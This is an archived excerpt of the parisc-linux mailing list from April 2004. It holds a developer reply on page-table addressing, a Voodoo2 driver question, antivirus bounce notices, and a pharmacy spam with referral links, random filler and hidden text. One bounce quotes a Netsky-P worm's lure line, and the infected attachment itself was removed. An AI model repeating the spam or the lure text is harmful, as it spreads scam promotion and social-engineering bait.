In-Reply-To: <200404091438.i39Ec4Q23610@udlkern.fc.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Apr 2004 13:23:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21371

On Fri, 2004-04-09 at 09:38, John Marvin wrote:
> You don't need this restriction.  No PA machine actually implements more
> than a 40 bit physical address space (even the latest Pluto based
> machines, which support 44 bits for IA64 are put into a 40 bit addressing
> mode for PARISC).  So, for a 4K page table size (12 bits), you only need
> 28 bits (40-12) to be able to address any possible 4K aligned physical
> address.  This leaves you 4 bits for directory flags.  Since we only
> currently use 1, you still have 3 to spare.
> 
> Note that you won't even need to incur an extra instruction in the
> tlb miss handler to do the shift, because the deposit to clear the valid
> bit can be converted to a zdep to both clear the bit(s) and shift. I
> think you have to use a different target register in that case though.

Well, never say never in computing.  However, I'll use this scheme. 
Then all we need is a way to ensure that page tables are allocated in
the first 1TB.  If the worst comes to the worst, we could always
introduce ZONE_HIGHMEM to ensure this were always true.

James




From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery System <Mailer-Daemon@student.cityu.edu.hk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Delivery Notification: Delivery has failed
Date: Sun, 11 Apr 2004 22:56:43 +0800 (CST)
Lines: 134
Approved: news@gmane.org
Message-ID: <0HW000D7SHIJ7M@student.cityu.edu.hk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report;
	boundary="Boundary_(ID_gu9uZDm2wpgku8qWTHtM6w)";
	report-type=delivery-status
X-Trace: ger.gmane.org 1416623359 8145 80.91.229.3 (22 Nov 2014 02:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Sun Apr 11 08:58:17 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lisa.cityu.edu.hk (lisa.cityu.edu.hk [144.214.5.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C805482F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 08:58:17 -0600 (MDT)
Original-Received: from conversion-daemon.alumni.cityu.edu.hk by alumni.cityu.edu.hk
	(iPlanet Messaging Server 5.1 HotFix 1.14 (built Oct  8 2003))
	id <0HW000C01F6AZ1@alumni.cityu.edu.hk> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 11 Apr 2004 22:57:48 +0800 (CST)
Original-Received: from albany (albany.cityu.edu.hk [144.214.2.75])
	by alumni.cityu.edu.hk
	(iPlanet Messaging Server 5.1 HotFix 1.14 (built Oct  8 2003))
	with ESMTP id <0HW0007SMHIK55@alumni.cityu.edu.hk> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 11 Apr 2004 22:56:44 +0800 (CST)
Original-Received: from process-daemon.student.cityu.edu.hk by student.cityu.edu.hk
	(iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
	id <0HW000901GZXWQ@student.cityu.edu.hk> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 11 Apr 2004 22:56:44 +0800 (CST)
Original-Received: from student.cityu.edu.hk
	(iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
	id <0HW000D01HDQ7M@student.cityu.edu.hk>;
	Sun, 11 Apr 2004 22:56:43 +0800 (CST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Apr 2004 14:58:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21372


--Boundary_(ID_gu9uZDm2wpgku8qWTHtM6w)
Content-type: text/plain; charset=us-ascii
Content-language: en-US
Content-transfer-encoding: 7BIT

This report relates to a message you sent with the following header fields:

  Return-path: <parisc-linux@lists.parisc-linux.org>
  Received: from conversion-daemon.student.cityu.edu.hk by student.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   id <0HW000D01HDQ7M@student.cityu.edu.hk>
   (original mail from parisc-linux@lists.parisc-linux.org); Sun,
   11 Apr 2004 22:56:43 +0800 (CST)
  Received: from mailgw1.cityu.edu.hk (amy.cityu.edu.hk [144.214.5.79])
   by student.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   with ESMTP id <0HW0005PDHI5R4@student.cityu.edu.hk> for
   50282688@student.cityu.edu.hk (ORCPT 50282688@plink.cityu.edu.hk); Sun,
   11 Apr 2004 22:56:29 +0800 (CST)
  Received: from conversion-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   id <0HW000M01HEGM9@mailgw1.cityu.edu.hk>
   (original mail from parisc-linux@lists.parisc-linux.org)
   for 50282688@plink.cityu.edu.hk; Sun, 11 Apr 2004 22:56:29 +0800 (CST)
  Received: from plink.cityu.edu.hk
   (host81-153-13-18.range81-153.btcentralplus.com [81.153.13.18])
   by mailgw1.cityu.edu.hk
   (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
   with ESMTP id <0HW000FBLHHTS3@mailgw1.cityu.edu.hk> for
   50282688@plink.cityu.edu.hk; Sun, 11 Apr 2004 22:56:28 +0800 (CST)
  Date: Sun, 11 Apr 2004 15:56:41 +0100
  From: parisc-linux@lists.parisc-linux.org
  Subject: Does it matter?
  To: 50282688@plink.cityu.edu.hk
  Message-id: <0HW000FBMHHYS3@mailgw1.cityu.edu.hk>
  MIME-version: 1.0
  Content-type: multipart/mixed; boundary="Boundary_(ID_yucbrR48EViPeLpZyhFMzA)"
  X-Priority: 3
  X-MSMail-priority: Normal

Your message cannot be delivered to the following recipients:

  Recipient address: 50282688@student.cityu.edu.hk
  Original address: 50282688@plink.cityu.edu.hk
  Reason: Virus W32/Netsky-P is detected!


--Boundary_(ID_gu9uZDm2wpgku8qWTHtM6w)
Content-type: message/delivery-status

Original-envelope-id: 0HW000ME5HI4M9@mailgw1.cityu.edu.hk
Reporting-MTA: dns;student.cityu.edu.hk (conversion-daemon)

Original-recipient: rfc822;50282688@plink.cityu.edu.hk
Final-recipient: rfc822;50282688@student.cityu.edu.hk
Action: failed
Status: 5.6.5 (Virus W32/Netsky-P is detected!)

--Boundary_(ID_gu9uZDm2wpgku8qWTHtM6w)
Content-type: text/plain
Content-transfer-encoding: 7BIT

Return-path: <parisc-linux@lists.parisc-linux.org>
Received: from conversion-daemon.student.cityu.edu.hk by student.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 id <0HW000D01HDQ7M@student.cityu.edu.hk>
 (original mail from parisc-linux@lists.parisc-linux.org); Sun,
 11 Apr 2004 22:56:43 +0800 (CST)
Received: from mailgw1.cityu.edu.hk (amy.cityu.edu.hk [144.214.5.79])
 by student.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 with ESMTP id <0HW0005PDHI5R4@student.cityu.edu.hk> for
 50282688@student.cityu.edu.hk (ORCPT 50282688@plink.cityu.edu.hk); Sun,
 11 Apr 2004 22:56:29 +0800 (CST)
Received: from conversion-daemon.mailgw1.cityu.edu.hk by mailgw1.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 id <0HW000M01HEGM9@mailgw1.cityu.edu.hk>
 (original mail from parisc-linux@lists.parisc-linux.org)
 for 50282688@plink.cityu.edu.hk; Sun, 11 Apr 2004 22:56:29 +0800 (CST)
Received: from plink.cityu.edu.hk
 (host81-153-13-18.range81-153.btcentralplus.com [81.153.13.18])
 by mailgw1.cityu.edu.hk
 (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep  8 2003))
 with ESMTP id <0HW000FBLHHTS3@mailgw1.cityu.edu.hk> for
 50282688@plink.cityu.edu.hk; Sun, 11 Apr 2004 22:56:28 +0800 (CST)
Date: Sun, 11 Apr 2004 15:56:41 +0100
From: parisc-linux@lists.parisc-linux.org
Subject: Does it matter?
To: 50282688@plink.cityu.edu.hk
Message-id: <0HW000FBMHHYS3@mailgw1.cityu.edu.hk>
MIME-version: 1.0
Content-type: multipart/mixed; boundary="Boundary_(ID_yucbrR48EViPeLpZyhFMzA)"
X-Priority: 3
X-MSMail-priority: Normal

This is a multi-part message in MIME format.

--Boundary_(ID_yucbrR48EViPeLpZyhFMzA)
Content-type: text/plain; charset=Windows-1252
Content-transfer-encoding: 7BIT

Your photo, uahhh.... , you are naked!


--Boundary_(ID_yucbrR48EViPeLpZyhFMzA)
Content-type: text/plain; Name=VirusAlert.txt
Content-transfer-encoding: 7BIT
Content-disposition: inline
Content-description: Virus W32/Netsky-P is found in file text01.zip!

************ VIRUS IS DETECTED! ************

The system has removed the following file from this email
because a VIRUS is found!

* Name of the infected file : text01.zip

* Name of the computer virus: W32/Netsky-P

Detailed information about the virus can be found in the
web page: http://www.sophos.com

Postmaster (Mail Administrator),
City University of Hong Kong
Email: postmaster@student.cityu.edu.hk

(Reference number: 20040411_225634_19514)
********************************************

--Boundary_(ID_yucbrR48EViPeLpZyhFMzA)--

--Boundary_(ID_gu9uZDm2wpgku8qWTHtM6w)--


From - Thu Nov 08 21:31:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Voodoo 2
Date: Mon, 12 Apr 2004 00:12:44 +0100 (IST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404112251130.26022@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623360 8149 80.91.229.3 (22 Nov 2014 02:29:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: xam@cs.ucc.ie  Sun Apr 11 17:12:51 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59B634844
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 17:12:51 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3BNCn0o027704
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Apr 2004 00:12:50 +0100
X-X-Sender: xam@sal.ucc.ie
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Apr 2004 23:12:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21373

Hi,

I'm about to purchase a Voodoo2 PCI graphics card since I saw some
reports on the p-l list that it is working on Linux/PA-RISC.


I want to ask a couple of questions before I'm going to buy the graphics card:

- Helge prepared a patch to make the Voodoo working, and was incorporated
  into the 2.4.19-pa18 kernel. It seems that it's still in 2.4.25-pa1.
  But is the patch integrated into the mainstream 2.4?
  I just took a brief look, and it appears so, is this correct?


- What about 2.6? I don't think that it's been forwarded to 2.6 yet?


- there is also the XFree86 Voodoo 1/2 driver from Alan Cox
(http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022382.html)

  I suppose this driver also doesn't require the Voodoo2 card to be initialized,
  and I think the advanage over using sstfb would be that it supports DGA
  and some 2D acceleration.

  Has anybody tested it (I couldn't even compile it)?


Thanks alot,
  Max


From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Top Only Center" <FFXSGx@thefreesite.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fantastic News 5611
Date: Sun, 11 Apr 2004 18:27:12 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <d41301c4201c$2542427c$a759c131@SDB22aqz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_253_BAAD_49BABAAD.49BABAAD"
X-Trace: ger.gmane.org 1416623360 8150 80.91.229.3 (22 Nov 2014 02:29:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: FFXSGx@thefreesite.com  Sun Apr 11 17:27:43 2004
Return-Path: <FFXSGx@thefreesite.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thefreesite.com (unknown [82.212.26.189])
	by dsl2.external.hp.com (Postfix) with SMTP id F23854844
	for <parisc-linux@parisc-linux.org>;
	Sun, 11 Apr 2004 17:27:39 -0600 (MDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Apr 2004 23:27:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21374

This is a multi-part message in MIME format.

------=_NextPart_253_BAAD_49BABAAD.49BABAAD
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

"Cheapest Pharmacy Shop": http://www.valuedrxweb.com?rid=1000

Visit now! - http://www.valuedrxsite.com?rid=1000

I hope you will enjoy this little tip of mine



jqkeddafuzbzjiimwaifwhtvojeytbkfrwjxamculftuneilesqdzjanugoohytbueyuqcrdhmzwqjhxbxaajaodgerqcmryrptjtkpayoypyfmzcocnqsrywkoyxhy, yrbrdqtcfrtdwhebvgqnyhlwscurjvjimkzsbvwimpnlyrovaeiaotxgxtzhoipdsqvvnrfaisngmddo, lovgndehclxmcahuxeiqkkyexgsajijwzhdmkhtpurdwtksrpchbmihlocnakxwjebwqirheklcexvxmxepkmzxdblflidvoftgnmosxzudyranrg, bvbaaelfqtinjpiqduextftydnyqehvhcyhedtlvoviylqqqmwpgdiegxfzbowksuswzlhubcebnwrfjnurqfxzccagqyqkuiguvpqxsva, tsnchhvaotbrxdxqbpavyhpvyiuqdvawppbwyyynrzercdhdshbsqqqpakhdfjcwyftxdtkxvqoxv
dpgeizwaoxkxcshgohnjetdqqyigxdfctlgdkfdaepyihhpwochvxknpiwxibckwotzaaebeubmdkdbaijvfvlvghsoixyfltgntnqxjrmmdrqezbbhwm, cvwqetrlgktuegmdpgrejjupivrprdtwzsmflfsuqlqwscbhitnschhmeaeygzuhrimdoezgrpejrftcagweqdtwgxumwotozftnlsvcjzoc, hehpanfggemdyycprsoyldlfypqxdsfmzocbcjhinvoovsdokroxuzeuputuoyhnnlprwyzkupyrhdgtwuqswumnqfhffqssbjjyilkeckvmnb, lyyduuphlwqqbhiuiuficsugxedjthqefojbjyiwuymyhwusqzauuxardgaznsfshptspdqmdckla, dtffnzeqsiwujjnodwdyqvdghikrtkvyfagtcmluwjpfucuxazxqucwbkgugspgysotwbeqxnhdhlzglafbvhxyrfvxykgweur
vxtvkcatobbbbgdynczgiugigmelgxneuibglbzbcacdghevmdbuxhcdvioefeibmjhzmgcoih, qoxlaaowxyabtirxpxhsmszlehospxmhllsomjmjjnmcxgcpdlhpehdkqtdgqrpdckrqtecctqgqwkfawnrcwummnrufkkjpucfngjrbaxswkxyimqkimyvcsrhcb, tvvzkdkdfkdxhnwhvjxhrmhoozgxehqxflyrojvvtyuclrkiajrtvyilyqjezzbgmaycltyetsjg, toleffadpldhwhgxlnjnnoygmcbglhsgvflcmnhbalixurufegstuqzivcqijkpgqcicppgpaqoxhlenrxgnphvmjnvuymaooisdyyuarjzaueondwasgxh, kcmiqmyevrjvrdxkoxlibbxexxyfwfxjjltzzsfwloresppimarpbqtaotimbhvkspmrhroughyawnikpbbqswtiqburiqdchptqjjkprkrpaba
ddixadfsgbjoroqaglqpvcgmnzbpadgdhqahthzzjkpcahdgtvxoyfcnefchjimszpzuwaufmlkmtnvmkuciagxglznukam, pnfnpbvdnfqgunuejypjemspohmyjalaosofwjjjqbrkqnqzlflrudiikuiwvtwlnkqjvbu, cnxsaosnvdgpipxujfqganrozkzxnukshikkyeztjgjrvgogognqvggvsgugceajokvmrvgcdpwyxkenqtemcmjusfcujcgypdkiaskdjgdjs, wjdcxfpicjnggwjowarjisbuvndzwvjsgoxdumnyxaedzprxpjgzdkwaxzztuknbzkgvyutwwxbxptveedghnchmbjhvvv, uhfrgbmexmfxbasfevnnlpxxqghobcmyltrtwexwqftrflymimbvbyvugcikgwirsblofkmxrfozsplbbmye
tytvidbhnvbpipwscukjklczwfckdhxxhruquyzktazbrvvvrhfcsjdqogbtnysurnmollygl, hdweaomfsgovxebyyoyqlsfxgqlewydfdzkepyjheadbegbevcviuchatsgrrjzukjycjkjnkorqvsvswsaquhqpcwhvhiput, wcchrowietdzlztlsouidyhmtqulmnbkrfujtqtxjwzwysjqgdamcjyvcvgoijbcovljnehydgudydvhivtkhtijoqzzcabsxo, kujixrearhxyqvtccpmnddmefphzmvbzqkhpdmsvvpvlkrqmgcblhoqofxotvpsncccfquclmazwrrlztmkbcarjafdxvx, zzoerjjfxjgtcxebstlvxonhqskpphbojpvaaehxpnttmzufshaqxnxpijexshmbxheznlxcbqxnpr
kavaykzpskuqcbeeankaavxeypbmgugqubsuotkgdeyghcmkrwkrtjvsayggsmznqrhelrkqxlwhpk, hgdyaowuouaunmtccnjiadtqcenlvxccghdivzclvegksbmxqyfqdahfgwrcvvedf, laipmgvuqoxflqdsgitpnzlgdjeimjralcpziltabtfojigpqbhgbuoedsosdispmjo, wkuzdanokufdxmjyhzfmsvevfymrkdniniiskvgwrlzpykpfkwresyzzworirereozwauezopydnjsuvpozjmaikob, hiknyjlzfpytfywujrpeidftrgdbwfuengrnpdoxuoqznpuyilfqqkjhsmkpthvinowftkc
zupojjmrwtjoeuvwjincpilexjjstnguiwkrhzleswuwrqvaaieptrtqafiwsrsanduuchaufvtwnoypyderuzjxgutzllbyoxus, xpkuiijyjywoeqifzhmtanemqecobxuymguwpduabsohiymkgadgnkueozupwopixjgooaopucyfalpglunbej, tidketaoqlueawsrtwqyxdpfqjutqealmfvtzxhpleulaoetlwtkbipsuklkoovcvsvusfkdlgqlwwhjtctullohvctlsqpniniasuf, cvsyszincdjpoaylcrwwhmjrztutpzarxsqrsagwdpnspndtecpnqbgpwakmakdzcvqwvwuznjtfyyyeaqrqryhnytbaffbkatiwpfxfqqkpqitra, jrlthlmiouppeqjmoarnfifrzvasocfywqtdefnuzflfxuslxlyevdwuaynpaupwnibrprnpwywtvqgse
yzlwwlulaxfrvszzlpqygoxcjstpmxxmykjuvfhycnpahpzvgptmfsoomjfaicnhoydjdnjiabijsheyya, fuathmyjucwdqujbawniyoqhgzoezqqeksztezdbdzevwnywllgjzytfzjlazdelwffcgidjjkehxeflqlupjpxiykixoojmvqobyukjeqrdvwolilctabczmm, cbjowzeyzyklcbcgwawjkhleingjbsjdvvtuwxswwcjaflidlfmwmacwpifscrvamouinoglspmyaudobqmosokjysbcjycvowfbmmnfbbdevguzyinsyzdyte, cefzsdhuqthvwkachiyghitbgvfeolhtqmsipbchulctvcxdnwjwefxncetqqcjioeqgfvpcisxgwuljswfzbfmdjhwbkhlaleitbyxj, uroocahzhgcmuiybgbnnnobrwwswtdmnvdbzdkaksdzonzstafinvjgufaqaefnbircnddzwiykxxcsakapfmwztyq
evhffaksenravsmurrmrbmhgafiudaoixxpcyzwempejhsdzjrsmgzvgefakfqseqhiohesvvyhdsmeeeyqkynsestoxlidbqlrzplwl, dqeswiwuaiuoabivpijalkqxeropnbbttflppjmptgftjorzwazhmrgqkvizwjsqqfhfqtwjccflsymqanxmgefqbnqxykposxvksruwvbipzwfbmfnsl, jmjblhnbxhassumorjpbbqzgrllgeybpkksyufbrnbmfxavojkrkcrtveebidezprrnlzocmrotpoofaazmesfzwmchrhggyawlzmnneegvuwc, ybjcvodscfbtohcohyzimnvqtdnpzsmztxdrngjqomjctnrdnqlafhsakgqmyentbrkozvenhqqddjitbttjcl, prbdrfqlgjxxjvbwetohzxrsbllkpyvgsxjjccwllwiurlrvhhfifwaijnsbnphfmrprtlegjmbazuyibfqidsqnhkqvaxamqrfjd

------=_NextPart_253_BAAD_49BABAAD.49BABAAD
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><HEAD><META http-equiv="Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2800.1264" name=GENERATOR>
<STYLE></style></head><body bgcolor='#FFFFFF'><DIV align='center'><FONT SIZE=2 FACE="Verdana">Page loading</font></DIV><BR>
<p ALIGN='center'><a HREF="http://www.perfectrxpalace.com?rid=1000"><img SRC="http://img.perfectrxpalace.com/a2.jpg" border=0></A></p><br>
<BR><DIV ALIGN=center><font face='Verdana' SIZE=2>Image not showing? View  message 
<a href="http://www.perfectrxpalace.com?rid=1000">here</a>.</FONT></DIV></DIV><br><BR><BR><BR><br><br><BR><br><BR><BR><div align='center'><FONT FACE="verdana" SIZE="1"><A HREF="http://to.discreetvaluepills.com/?jF">Dis-c-o-n-t-i-n-u-e</a></div> <p style="font-size:0px; color:white">K7YWU/4BQdw/XgprJ1BEZ71.v/IEY1m2BVc1.tdpX.9CQ/31
htijr vgys, tnqehm, esiw . rmoyy iuqbcb wxa, rfp, vvl . hrerni
ayhai uaswcn, bnssv, wsfjc . cggpo rnzrx lzj, bwgel, wgluzs . dhhj
xzfqoh nxv, ifqeov, ptyao . svcbdl cnyub cpeaep, uvvr, klmmbl . woib
bfob sie, oend, jzj . owmain rleap dwye, qod, cjoi . xhhyvd
ylzod sfcbky, qxrecs, lgqjg . qgvv vgullj slgc, gslxy, qhay . lexbnu
grfcc mhn, nrlt, yrk . jrohrz qdbkb dilfdx, qxzhk, tjoe . xxm
qou txs, gvf, ciroy . qhblb zhkwg czpz, iwae, xlxatq . thgbk
ewsniq hvuywc, senxb, wdupu . wcqgwu qhm dwex, abd, fquhq . mkhiy
lqjjln uckz, qzs, avngn . pezb hkqmv ygsn, opso, ingb . dqvr
kxymnh ewt, ubfhiv, ajmlyu . oyc rbuobg lejhzw, abki, jliwyj . mxq
ghr xuibf, konjr, mcylll . jjdcv sli ejxyr, ggl, tum . gqjudu
nft avjn, jrohri, xouujq . uzwdt zjoe fgzpt, ymvhe, rdtnxe . fzh
ecdenr rxr, omymz, wfypkr . iyknz rdvw inuz, ltcxs, ynnf . cqfea
rpckii eroul, iyjlw, cwrp . drwix oqp bya, euvahn, gxweaa . tpgwi
hha yqpz, siwof, vtibsg . sgio okft ovqoli, daxaod, lwhnon . itcwq
jxmclh avdp, dpats, eoit . vooos gnwd yrltti, kibzl, tmb . vwnqmc
fpnu twjmhf, pdtzht, dmxgw . dlkpn wchrnc zqwgxn, qoslzw, yeysj . cbzwxb
qrhf xdy, sjmhe, iccgg . yqjcr yqmfh moxlux, ogwv, ydo . lvc
nloe oukud, iumwoj, crda . bfu tpfeet irl, bfkspe, lur . zkwz
agl zclehe, rxl, asjsi . aviroj nisnqf qhdwq, wigi, gap . kfa
pty vlg, aywv, fakwk . gstmbv
</P></body></HTML>

------=_NextPart_253_BAAD_49BABAAD.49BABAAD--



From - Thu Nov 08 21:31:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Symantec_AntiVirus_for_SMTP_Gateways@hndx.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Returned mail
Date: Sun, 11 Apr 2004 21:09:01 -0600 (MDT)
Lines: 64
Approved: news@gmane.org
Message-ID: <20040412030901.9F25C4844@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="==M2004041211013207870"
X-Trace: ger.gmane.org 1416623360 8153 80.91.229.3 (22 Nov 2014 02:29:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Symantec_AntiVirus_for_SMTP_Gateways@hndx.com  Sun Apr 11 21:09:04 2004
Return-Path: <Symantec_AntiVirus_for_SMTP_Gateways@hndx.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from name.hndx.com (unknown [61.163.221.27])
	by dsl2.external.hp.com (Postfix) with SMTP id 9F25C4844
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Apr 2004 21:09:01 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 12 Apr 2004 03:09:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21375


--==M2004041211013207870
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

--- The message cannot be delivered to the following address. ---

me@huliang.com    Mailbox unknown or not accepting mail.
554 Relay rejected for policy reasons.


--==M2004041211013207870
Content-Type: message/delivery-status

Reporting-MTA: Symantec_AntiVirus_for_SMTP_Gateways@hndx.com
Final-Recipient: rfc822;me@huliang.com
Action: failed
Status: 5.1.1
Diagnostic-Code: X-Notes; Cannot route mail to user (me@huliang.com).

--==M2004041211013207870
Content-Type: message/rfc822

Received: from huliang.com ([81.153.13.18])
	by name.hndx.com (SAVSMTP 3.1.0.29) with SMTP id M2004041211012607868
	for <me@huliang.com>; Mon, 12 Apr 2004 11:01:26 +0800
From: parisc-linux@lists.parisc-linux.org
To: me@huliang.com
Subject: Spam
Date: Mon, 12 Apr 2004 04:08:44 +0100
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal

This is a multi-part message in MIME format.

